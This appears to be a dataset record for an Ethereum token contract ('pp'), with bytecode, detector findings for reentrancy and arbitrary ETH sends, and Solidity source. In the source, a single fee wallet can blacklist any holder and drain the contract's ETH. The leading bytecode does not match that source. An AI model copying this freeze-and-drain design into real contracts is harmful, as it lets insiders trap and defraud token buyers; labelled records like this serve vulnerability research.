f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fdad67581077613167e8847dcfc7093162d7688f588f527270c3f7564d55c32364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,641 |
0xC0425a727668296903d07D575559e6772a3127ec
|
//telegram @pp_token
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract pp is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 2;
uint256 private _tax = 10;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "pp";
string private constant _symbol = "pp";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b4114610119578063a9059cbb146102d1578063c3c8cd80146102f1578063c9567bf914610306578063dd62ed3e1461031b57600080fd5b80636fc3eaec1461025f57806370a0823114610274578063715018a6146102945780638da5cb5b146102a957600080fd5b806323b872dd116100dc57806323b872dd146101ce5780632ab30838146101ee578063313ce56714610203578063537df3b61461021f5780635932ead11461023f57600080fd5b806306fdde031461011957806308aad1f114610153578063095ea7b31461017557806318160ddd146101a557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526002815261070760f41b6020820152905161014a9190611473565b60405180910390f35b34801561015f57600080fd5b5061017361016e36600461132b565b610361565b005b34801561018157600080fd5b506101956101903660046113df565b6103a5565b604051901515815260200161014a565b3480156101b157600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014a565b3480156101da57600080fd5b506101956101e936600461139e565b6103bc565b3480156101fa57600080fd5b50610173610425565b34801561020f57600080fd5b506040516009815260200161014a565b34801561022b57600080fd5b5061017361023a36600461132b565b61046a565b34801561024b57600080fd5b5061017361025a36600461140b565b6104ab565b34801561026b57600080fd5b506101736104f3565b34801561028057600080fd5b506101c061028f36600461132b565b610520565b3480156102a057600080fd5b50610173610542565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102dd57600080fd5b506101956102ec366